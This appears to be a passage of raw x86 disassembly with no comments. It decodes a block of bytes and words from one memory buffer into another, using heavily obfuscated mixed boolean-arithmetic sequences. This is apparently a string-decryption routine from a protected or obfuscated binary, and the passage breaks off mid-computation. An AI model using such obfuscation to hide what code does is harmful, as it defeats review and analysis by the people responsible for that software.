mov si, ax
add si, 0x6095
sub si, cx
mov dx, si
xor dx, 0xffff
and dx, 0x5caf
and si, 0xa350
or dx, si
xor dx, 0xa350
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x6095
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x6095
sub ax, dx
mov word [0x47b836], ax
mov dx, word [0x47b638]
mov ax, dx
xor ax, 0xffff
or ax, ax
xor ax, 0xffff
or ax, 0xc26e
xor ax, 0xffff
and dx, 0xc26e
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
xor ax, 0x77fa
mov word [0x47b838], ax
mov ax, word [0x47b63a]
xor ax, 0xffec
mov word [0x47b83a], ax
mov ax, word [0x47b63c]
xor ax, 0xd93d
mov word [0x47b83c], ax
mov ax, word [0x47b63e]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0x6ab
or ax, 0x6ab
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47b83e], dx
mov ax, word [0x47b640]
xor ax, 0x8217
mov word [0x47b840], ax
mov ax, word [0x47b642]
mov cx, ax
add cx, 1
mov si, ax
xor si, 0xffff
or si, ax
add si, cx
mov dx, si
xor dx, 0xffff
and dx, 0xa2bb
and si, 0x5d44
or dx, si
xor dx, 0x5d44
mov cx, dx
add cx, 1
xor dx, 0xffff
or dx, 0xf8df
add dx, cx
xor dx, 0xffff
xor ax, 0xffff
or ax, 0xf8df
xor dx, 0xffff
xor ax, 0xffff
mov si, dx
or si, ax
xor si, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
xor si, 0xffff
xor dx, 0xffff
and si, dx
mov word [0x47b842], si
mov ax, word [str.__a_v]
mov cx, ax
xor cx, 0xffff
and cx, 0x1a9d
and ax, 0xe562
or cx, ax
xor cx, 0x88f1
mov word [0x47b844], cx
mov ax, word [0x47b646]
xor ax, 0xb85f
mov word [0x47b846], ax
mov ax, word [0x47b648]
xor ax, 0x8878
mov word [0x47b848], ax
mov ax, word [0x47b64a]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x9c72
mov cx, ax
and cx, 0x9c72
xor cx, 0xffff
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
and dx, 0x638d
shl dx, 1
sub dx, 0x638d
sub ax, dx
mov word [0x47b84a], ax
mov ax, word [0x47b64c]
mov si, ax
or si, si
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
xor si, 0xffff
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
or dx, 0xe258
xor dx, 0xffff
and ax, 0xe258
mov cx, ax
xor cx, 0xffff
mov si, dx
and si, cx
mov cx, dx
xor cx, ax
add dx, cx
sub dx, si
mov word [0x47b84c], dx
mov ax, word [0x47b64e]
xor ax, 0x5320
mov word [0x47b84e], ax
mov ax, word [0x47b650]
xor ax, 0xa5e8
mov word [0x47b850], ax
mov ax, word [0x47b652]
mov cx, ax
xor cx, 0xffff
and cx, 0x4458
and ax, 0xbba7
or cx, ax
xor cx, 0xb0f1
mov word [0x47b852], cx
mov ax, word [0x47b654]
xor ax, 0x5a93
mov word [0x47b854], ax
mov dx, word [0x47b656]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and ax, 0xac9
and dx, 0xf536
mov si, ax
xor si, 0xffff
mov cx, dx
xor cx, 0xffff
and si, cx
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
xor si, 0xffff
xor ax, 0xffff
and si, ax
mov word [0x47b856], si
mov ax, word [0x47b658]
xor ax, 0xdac
mov word [0x47b858], ax
mov ax, word [0x47b65a]
xor ax, 0x3da9
mov word [0x47b85a], ax
mov ax, word [0x47b65c]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x4992
and ax, 0x4992
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x47b85c], dx
mov ax, word [0x47b65e]
mov cx, ax
and cx, 0x333
shl cx, 1
add ax, 0x333
sub ax, cx
mov word [0x47b85e], ax
mov ax, word [0x47b660]
mov cx, ax
and cx, cx
xor cx, 0xffff
mov si, ax
add si, si
add si, 1
add si, cx
xor si, 0xffff
or si, si
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
and si, 0xffff
mov dx, si
xor dx, 0x1c7f
and dx, si
or ax, 0xe380
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
and ax, 0xffff
xor ax, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
mov cx, ax
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
xor si, 0xffff
xor cx, 0xffff
or si, cx
xor si, 0xffff
mov word [0x47b860], si
mov dx, word [0x47b662]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0x728a
xor ax, 0xffff
and dx, 0x8d75
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x47b862], ax
mov ax, word [0x47b664]
xor ax, 0xf571
mov word [0x47b864], ax
mov dx, word [0x47b666]
mov ax, dx
xor ax, 0xffff
mov cx, dx
and cx, 0xffff
shl cx, 1
mov si, dx
add si, 0xffff
sub si, cx
and ax, si
mov cx, ax
and cx, 0x4ddf
xor cx, 0xffff
add ax, 0x4ddf
add ax, 1
add ax, cx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
and si, 0x4ddf
or dx, 0xb220
xor dx, 0xffff
or si, dx
xor si, 0xffff
xor si, 0xffff
mov dx, ax
xor dx, 0xffff
mov cx, si
xor cx, 0xffff
and dx, cx
or ax, si
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov ax, dx
and ax, 0xffff
shl ax, 1
add dx, 0xffff
sub dx, ax
mov word [0x47b866], dx
mov ax, word [0x47b668]
mov dx, ax
xor dx, 0xffff
and dx, 0xe0
mov cx, ax
and cx, 0xff1f
or dx, cx
xor dx, 0xff1f
and dx, 0x1195
and ax, 0xee6a
or dx, ax
mov word [0x47b868], dx
mov ax, word [0x47b66a]
xor ax, 0x8e10
mov word [0x47b86a], ax
mov ax, word [0x47b66c]
mov dx, ax
xor dx, 0x346a
xor dx, 0xffff
and dx, 0x346a
shl dx, 1
mov cx, dx
xor cx, 0xffff
and cx, 0x346a
and dx, 0xcb95
sub dx, cx
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x47b86c], ax
mov cx, word [0x47b66e]
mov ax, cx
xor ax, 0xffff
or ax, 0x4726
add ax, 0xb8da
and cx, 0x4726
mov dx, ax
and dx, cx
xor ax, cx
or dx, ax
mov word [0x47b86e], dx
mov al, byte [str.6LR_t]
xor al, 0x7c
mov byte [0x47b8f0], al
mov al, byte [0x47b871]
xor al, 0x14
mov byte [0x47b8f1], al
mov dl, byte [0x47b872]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
and al, 0x53
mov cl, dl
xor cl, 0x53
and cl, dl
or al, cl
mov byte [0x47b8f2], al
mov al, byte [0x47b873]
mov cl, al
xor cl, 0xdd
xor cl, 0xff
and cl, 0xdd
shl cl, 1
sub cl, 0xdd
sub al, cl
mov byte [0x47b8f3], al
mov al, byte [0x47b874]
xor al, 0x62
mov byte [0x47b8f4], al
mov al, byte [0x47b875]
mov cl, al
xor cl, 0x22
xor cl, 0xff
and cl, 0x22
shl cl, 1
sub cl, 0x22
sub al, cl
mov byte [0x47b8f5], al
mov al, byte [0x47b876]
xor al, 0x1c
mov byte [0x47b8f6], al
mov dl, byte [0x47b877]
mov al, dl
or al, al
xor al, 0xff
mov cl, dl
or cl, cl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
or al, 0xa6
xor al, 0xff
and al, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0xff
or ah, 0x59
and dl, 0xa6
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or al, dl
mov byte [0x47b8f7], al
mov dl, byte [0x47b878]
mov al, dl
xor al, 0xff
mov cl, dl
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
or al, 0
or al, 0xc4
xor dl, 0xff
mov ah, dl
and ah, 0x3b
xor dl, 0x3b
or ah, dl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
xor ah, 0xff
mov cl, ah
and cl, al
xor cl, 0xff
add al, ah
add al, 1
add al, cl
mov byte [0x47b8f8], al
mov al, byte [0x47b879]
mov cl, al
xor cl, 0xff
or cl, 0x98
add cl, 0x68
mov dl, al
xor dl, 0x67
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0x3b
and al, 0xc4
or cl, al
mov byte [0x47b8f9], cl
mov cl, byte [0x47b87a]
mov al, cl
xor al, 0xff
and al, 0x18
xor cl, 0xff
or cl, 0x18
xor cl, 0xff
and cl, 0xff
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov byte [0x47b8fa], dl
mov al, byte [0x47b87b]
mov cl, al
xor cl, 0xff
and cl, 0x55
and al, 0xaa
or cl, al
xor cl, 0x56
mov byte [0x47b8fb], cl
mov al, byte [str.v6_tL_J]
xor al, 0xd7
mov byte [0x47b8fc], al
mov al, byte [0x47b87d]
mov cl, al
xor cl, 0xff
and cl, 0x26
and al, 0xd9
or cl, al
mov byte [0x47b8fd], cl
mov al, byte [0x47b87e]
xor al, 0x76
mov byte [0x47b8fe], al
mov al, byte [0x47b87f]
mov cl, al
xor cl, 0xff
and cl, 0xae
and al, 0x51
or cl, al
mov byte [0x47b8ff], cl
mov dl, byte [0x47b880]
mov al, dl
xor al, 0xff
mov cl, dl
and cl, al
mov ah, dl
xor ah, ah
mov al, dl
add al, ah
sub al, cl
xor al, 0xff
xor al, 0xff
and al, 0x82
or dl, 0x82
xor dl, 0xff
or al, dl
mov cl, al
xor cl, 0xff
and cl, 0x7c
and al, 0x83
or cl, al
xor cl, 0x83
mov byte [0x47b900], cl
mov al, byte [0x47b881]
mov cl, al
xor cl, 0xff
and cl, 0x62
and al, 0x9d
or cl, al
xor cl, 0x67
mov byte [0x47b901], cl
mov cl, byte [0x47b882]
mov al, cl
xor al, 0xff
and al, 0xf
and cl, 0xf0
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
xor al, 0x3e
mov byte [0x47b902], al
mov bl, byte [0x47b883]
mov dl, bl
and dl, 0x2a
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0x32
add bl, 0x2a
add bl, 0x32
sub bl, al
mov byte [0x47b903], bl
mov al, byte [0x47b884]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x43
xor al, 0xff
or al, 0xbc
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b904], dl
mov dl, byte [0x47b885]
mov al, dl
xor al, 0xff
and al, 0xc8
mov cl, dl
and cl, 0x37
xor cl, 0xff
and dl, 0x37
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
or al, cl
mov byte [0x47b905], al
mov al, byte [0x47b886]
and al, 0xff
or al, 0
xor al, 0x2d
mov byte [0x47b906], al
mov al, byte [0x47b887]
xor al, 0x86
mov byte [0x47b907], al
mov al, byte [0x47b888]
xor al, 0x2d
mov byte [0x47b908], al
mov al, byte [0x47b889]
xor al, 3
mov byte [0x47b909], al
mov al, byte [0x47b88a]
xor al, 0xa9
mov byte [0x47b90a], al
mov al, byte [0x47b88b]
mov cl, al
xor cl, 0xff
and cl, 0x8e
and al, 0x71
or cl, al
xor cl, 0xbc
mov byte [0x47b90b], cl
mov al, byte [0x47b88c]
mov cl, al
xor cl, 0xff
and cl, 0x8f
and al, 0x70
or cl, al
mov byte [0x47b90c], cl
mov al, byte [0x47b88d]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
xor cl, 0xff
or dl, dl
xor dl, 0xff
or cl, cl
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0x5a
xor dl, 0xff
xor al, 0xff
mov cl, al
xor cl, 0x5a
xor cl, 0xff
or al, 0x5a
and al, cl
mov dh, dl
xor dh, 0xff
mov bl, al
xor bl, 0xff
mov ah, dh
and ah, 0x6a
and dl, 0x95
mov cl, bl
and cl, 0x6a
and al, 0x95
or ah, dl
or cl, al
xor ah, cl
or dh, bl
xor dh, 0xff
and dh, 0xff
or ah, dh
mov al, ah
and al, 0xff
shl al, 1
add ah, 0xff
sub ah, al
mov byte [0x47b90d], ah
mov al, byte [0x47b88e]
xor al, 0x30
mov byte [0x47b90e], al
mov al, byte [0x47b88f]
xor al, 0x16
mov byte [0x47b90f], al
mov al, byte [0x47b890]
xor al, 0x3e
mov byte [0x47b910], al
mov dl, byte [0x47b891]
mov cl, dl
xor cl, 0xff
mov al, cl
and al, 0xfc
xor al, 0xff
xor cl, 0xff
or cl, 3
xor al, 0xff
xor cl, 0xff
or al, cl
mov ah, dl
xor ah, 0xff
or ah, 0xfc
and dl, 3
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
mov cl, ah
and cl, al
xor cl, 0xff
add al, ah
add al, 1
add al, cl
mov cl, al
xor cl, 0xff
and cl, 0xa3
and al, 0x5c
or cl, al
xor cl, 0x63
mov byte [0x47b911], cl
mov al, byte [0x47b892]
xor al, 0xbc
mov byte [0x47b912], al
mov al, byte [0x47b893]
mov dl, al
xor dl, 0x71
xor dl, 0xff
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x71
shl dl, 1
sub dl, 0x71
sub al, dl
mov byte [0x47b913], al
mov ah, byte [0x47b894]
mov cl, ah
or cl, cl
xor cl, 0xff
or cl, 0x1a
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov dl, dh
and dl, 0x97
and ah, 0x68
or dl, ah
xor dl, 0x72
or dh, 0x1a
xor dh, 0xff
and dh, 0xff
or dl, dh
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
or cl, ah
and al, dl
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x47b914], cl
mov al, byte [0x47b895]
xor al, 0xe1
mov byte [0x47b915], al
mov al, byte [0x47b896]
xor al, 0xf9
mov byte [0x47b916], al
mov al, byte [0x47b897]
xor al, 0x1b
mov byte [0x47b917], al
mov al, byte [0x47b898]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor ah, 0xff
and cl, dl
xor cl, 0xff
and ah, cl
xor ah, 0xff
or ah, 0x9d
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
or al, 0x62
xor al, 0xff
mov cl, dl
and cl, al
xor dl, al
or cl, dl
mov al, cl
xor al, 0xff
and al, 0x67
and cl, 0x98
or al, cl
xor al, 0x98
mov byte [0x47b918], al
mov al, byte [0x47b899]
xor al, 0xac
mov byte [0x47b919], al
mov al, byte [0x47b89a]
xor al, 0xbc
mov byte [0x47b91a], al
mov al, byte [0x47b89b]
xor al, 0xa
mov byte [0x47b91b], al
mov al, byte [0x47b89c]
xor al, 0xf7
mov byte [0x47b91c], al
mov al, byte [0x47b89d]
xor al, 0x5c
mov byte [0x47b91d], al
mov al, byte [0x47b89e]
mov cl, al
xor cl, 0xaa
xor cl, 0xff
and cl, 0xaa
shl cl, 1
sub cl, 0xaa
sub al, cl
mov byte [0x47b91e], al
mov al, byte [0x47b89f]
xor al, 0xd0
mov byte [0x47b91f], al
mov al, byte [0x47b8a0]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 0xb7
and dl, 0xb7
xor al, 0xff
or al, 0xb7
xor al, 0xff
and al, 0xff
or dl, al
mov byte [0x47b920], dl
mov al, byte [0x47b8a1]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x2f
xor dl, 0xff
and al, 0xd0
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b921], dl
mov al, byte [0x47b8a2]
mov cl, al
and cl, 0xd6
shl cl, 1
add al, 0xd6
sub al, cl
mov byte [0x47b922], al
mov al, byte [0x47b8a3]
xor al, 0xad
mov byte [0x47b923], al
mov al, byte [0x47b8a4]
mov cl, al
xor cl, 0xff
and cl, 0xc4
and al, 0x3b
or cl, al
mov byte [0x47b924], cl
mov al, byte [0x47b8a5]
xor al, 0x62
mov byte [0x47b925], al
mov al, byte [0x47b8a6]
xor al, 0x29
mov byte [0x47b926], al
mov al, byte [0x47b8a7]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ah, al
sub ah, cl
or dl, ah
and dl, 8
xor dl, 0xff
mov cl, al
xor cl, 0xf7
xor cl, 0xff
or al, 0xf7
and al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0xaa
and dl, 0x55
mov cl, bl
and cl, 0xaa
and al, 0x55
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x47b927], dh
mov dl, byte [0x47b8a8]
mov al, dl
xor al, 0xff
mov ah, dl
xor ah, 0xff
mov cl, dl
xor cl, 0xff
and ah, cl
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
mov cl, al
xor cl, ah
xor cl, 0xff
or al, ah
and al, cl
or al, 0xaf
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or dl, 0x50
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and ah, 0xff
xor ah, 0xff
xor ah, 0xff
or ah, 0
mov cl, ah
and cl, al
xor cl, 0xff
add al, ah
add al, 1
add al, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x47b928], al
mov dl, byte [0x47b8a9]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x5d
add al, cl
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0xa2
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
xor al, 0xff
mov byte [0x47b929], al
mov al, byte [0x47b8aa]
mov cl, al
and cl, cl
mov dl, cl
xor dl, 0xff
and dl, 0xb6
and cl, 0x49
or dl, cl
xor dl, 0x49
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or dl, 0x2d
xor al, 0xff
and al, 0xff
or al, 0
mov cl, al
and cl, 0x2d
mov ah, al
xor ah, 0xd2
add al, ah
sub al, cl
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b92a], dl
mov al, byte [0x47b8ab]
xor al, 0xba
mov byte [0x47b92b], al
mov al, byte [0x47b8ac]
xor al, 0x8d
mov byte [0x47b92c], al
mov al, byte [0x47b8ad]
mov cl, al
xor cl, 0x7f
xor cl, 0xff
and cl, 0x7f
shl cl, 1
sub cl, 0x7f
sub al, cl
mov byte [0x47b92d], al
mov al, byte [0x47b8ae]
mov cl, al
and cl, 0xc2
shl cl, 1
add al, 0xc2
sub al, cl
mov byte [0x47b92e], al
mov al, byte [0x47b8af]
xor al, 0x71
mov byte [0x47b92f], al
mov al, byte [0x47b8b0]
xor al, 0x47
mov byte [0x47b930], al
mov al, byte [0x47b8b1]
xor al, 0x38
mov byte [0x47b931], al
mov al, byte [0x47b8b2]
mov cl, al
xor cl, 0xff
and cl, 3
and al, 0xfc
or cl, al
xor cl, 0xcf
mov byte [0x47b932], cl
mov bl, byte [0x47b8b3]
mov dl, bl
xor dl, 0xe3
xor dl, 0xff
and dl, 0xe3
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xe3
sub bl, al
mov byte [0x47b933], bl
mov bl, byte [0x47b8b4]
mov al, bl
xor al, 0xff
and al, 0x2a
mov cl, bl
and cl, 0xd5
or al, cl
xor al, 0xe5
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov dl, al
xor dl, 0xff
or dl, 0x30
xor al, 0xff
or al, 0x30
xor dl, 0xff
xor al, 0xff
or dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xcf
sub bl, al
mov byte [0x47b934], bl
mov al, byte [0x47b8b5]
mov cl, al
and cl, 0x7f
shl cl, 1
add al, 0x7f
sub al, cl
mov byte [0x47b935], al
mov al, byte [0x47b8b6]
mov cl, al
and cl, 0x19
shl cl, 1
add al, 0x19
sub al, cl
mov byte [0x47b936], al
mov al, byte [0x47b8b7]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x11
and al, 0x11
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b937], dl
mov al, byte [0x47b8b8]
mov cl, al
xor cl, 0xff
and cl, 0xc9
and al, 0x36
or cl, al
mov byte [0x47b938], cl
mov al, byte [0x47b8b9]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and cl, 0x6e
mov dl, cl
xor dl, 0xff
and dl, 0xf8
and cl, 7
or dl, cl
xor dl, 7
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x91
add al, cl
xor al, 0xff
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, al
add dl, cl
xor dl, 0xff
mov byte [0x47b939], dl
mov al, byte [0x47b8ba]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x97
xor dl, 0xff
xor al, 0xff
or al, 0x97
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b93a], dl
mov al, byte [0x47b8bb]
mov cl, al
xor cl, cl
xor cl, 0xff
mov dl, al
or dl, dl
and dl, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x9a
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and al, 0x65
xor al, 0xff
mov cl, dl
xor cl, al
xor cl, 0xff
or dl, al
and dl, cl
xor dl, 0xff
mov byte [0x47b93b], dl
mov dl, byte [0x47b8bc]
mov al, dl
or al, al
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov cl, al
and cl, 0xb2
mov ah, al
xor ah, 0x4d
add al, ah
sub al, cl
xor al, 0xff
xor dl, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0xb2
xor ah, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and ah, ah
xor ah, 0xff
xor ah, 0xff
or ah, 0
and ah, 0xff
xor ah, 0xff
and al, ah
mov byte [0x47b93c], al
mov al, byte [0x47b8bd]
xor al, 0xa1
mov byte [0x47b93d], al
mov al, byte [0x47b8be]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x6a
mov cl, al
or cl, 0x6a
xor cl, 0xff
or dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0x6a
shl dl, 1
sub dl, 0x6a
xor dl, 0xff
add al, dl
add al, 1
mov byte [0x47b93e], al
mov al, byte [0x47b8bf]
xor al, 0xe6
mov byte [0x47b93f], al
mov al, byte [0x47b8c0]
xor al, 0x4a
mov byte [0x47b940], al
mov al, byte [0x47b8c1]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xe
xor al, 0xff
and al, 0xf1
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b941], dl
mov al, byte [0x47b8c2]
xor al, 0xb3
mov byte [0x47b942], al
mov al, byte [0x47b8c3]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x57
xor cl, 0xff
xor al, 0xff
or al, 0x57
and cl, al
xor cl, 0xff
mov byte [0x47b943], cl
mov cl, byte [0x47b8c4]
mov dl, cl
xor dl, 0xff
and dl, 0x6c
and cl, 0x93
mov al, dl
and al, cl
xor dl, cl
or al, dl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x76
xor dl, 0xff
xor al, 0xff
or al, 0x76
and dl, al
xor dl, 0xff
mov byte [0x47b944], dl
mov al, byte [0x47b8c5]
mov cl, al
xor cl, 0xff
and cl, 0xbd
and al, 0x42
or cl, al
xor cl, 0x10
mov byte [0x47b945], cl
mov bl, byte [0x47b8c6]
mov al, bl
xor al, 4
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov dl, al
xor dl, 0xff
or dl, 0xfb
and al, 4
xor al, 0xff
and dl, al
xor dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 4
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x47b946], bl
mov al, byte [0x47b8c7]
xor al, 0xee
mov byte [0x47b947], al
mov al, byte [0x47b8c8]
mov cl, al
xor cl, 0xff
or cl, 3
xor cl, 0xff
and cl, 0xff
shl cl, 1
add al, 0xfc
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x47b948], al
mov al, byte [0x47b8c9]
xor al, 0xa6
mov byte [0x47b949], al
mov al, byte [0x47b8ca]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xbe
xor al, 0xff
and al, 0x41
or cl, al
xor cl, 0xff
mov byte [0x47b94a], cl
mov al, byte [0x47b8cb]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xa0
xor dl, 0xff
xor al, 0xff
or al, 0xa0
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b94b], dl
mov al, byte [0x47b8cc]
mov cl, al
and cl, 0x72
shl cl, 1
add al, 0x72
sub al, cl
mov byte [0x47b94c], al
mov al, byte [0x47b8cd]
mov cl, al
xor cl, 0xff
and cl, 0xce
and al, 0x31
or cl, al
mov al, cl
xor al, 0xff
and al, 0xa6
and cl, 0x59
or al, cl
xor al, 0x70
mov byte [0x47b94d], al
mov al, byte [0x47b8ce]
xor al, 0x12
mov byte [str.p2_s], al
mov cl, byte [0x47b8cf]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xc0
or cl, 0xc0
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x47b94f], al
mov cl, byte [0x47b8d0]
mov al, cl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x66
mov dl, cl
and dl, 0x66
xor cl, 0x66
or dl, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
xor dl, 0xff
and al, dl
mov byte [0x47b950], al
mov al, byte [0x47b8d1]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xa8
mov cl, al
xor cl, 0xff
and cl, 0x57
or dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0xa8
shl dl, 1
sub dl, 0xa8
sub al, 0x9c
sub al, dl
